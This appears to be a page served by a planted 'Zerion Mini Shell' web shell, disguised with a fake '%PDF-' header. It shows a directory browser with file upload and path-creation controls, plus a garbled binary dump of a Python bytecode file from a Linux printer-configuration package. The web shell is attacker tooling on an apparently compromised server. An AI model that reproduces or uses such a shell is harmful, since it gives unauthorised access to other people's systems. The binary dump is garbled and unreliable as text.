%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/share/system-config-printer/__pycache__/
Upload File :
Create Path :
Current File : //usr/share/system-config-printer/__pycache__/killtimer.cpython-312.pyc

�

HfV��6�ddlZddlmZddl�Gd�d�Zy)�N)�GLib)�*c�2�eZdZdd�Zd�Zd�Zd�Zd�Zd�Zy)	�	KillTimerNc��||_||_d|_|j�t	j
�|_y�Nr)�_timeout�	_killfunc�_holds�_add_timeout�	threading�Lock�_lock)�self�timeout�killfuncs   �-/usr/share/system-config-printer/killtimer.py�__init__zKillTimer.__init__s1����
�!�����������^�^�%��
�c�b�tj|j|j�|_y)N)r�timeout_add_secondsr	�_kill�_timer�rs rrzKillTimer._add_timeout%s���.�.��
�
�t�z�z�J��rc��td|jz�|jr|j�ytj	d�y)NzTimeout (%ds), exitingr)�
debugprintr	r
�sys�exitrs rrzKillTimer._kill(s0���,�t�}�}�<�=��>�>��N�N���H�H�a�Lrc��|jj�|jdk(r*td�t	j
|j�|xjdz
c_|jj�y)NrzKill timer stopped�)r�acquirerrr�
source_remover�releasers r�add_holdzKillTimer.add_hold/sW���
�
�����;�;�!���,�-�������,����q����
�
���rc��|jj�|jdkDr?|xjdzc_|jdk(rtd�|j	�|jj�y)Nrr zKill timer started)rr!rrrr#rs r�remove_holdzKillTimer.remove_hold8s\���
�
�����;�;��?��K�K�1��K��{�{�a���0�1��!�!�$��
�
���rc���|jj�|jdk(r/tj|j
�|j
�|jj�yr)rr!rrr"rrr#rs r�alivezKillTimer.aliveAsL���
�
�����;�;�!��������,���� ��
�
���r)�N)	�__name__�
__module__�__qualname__rrrr$r&r(�rrrrs!��&�K����rr)r
�
gi.repositoryr�debugrr-rr�<module>r0s��.���)�)r

Zerion Mini Shell 1.0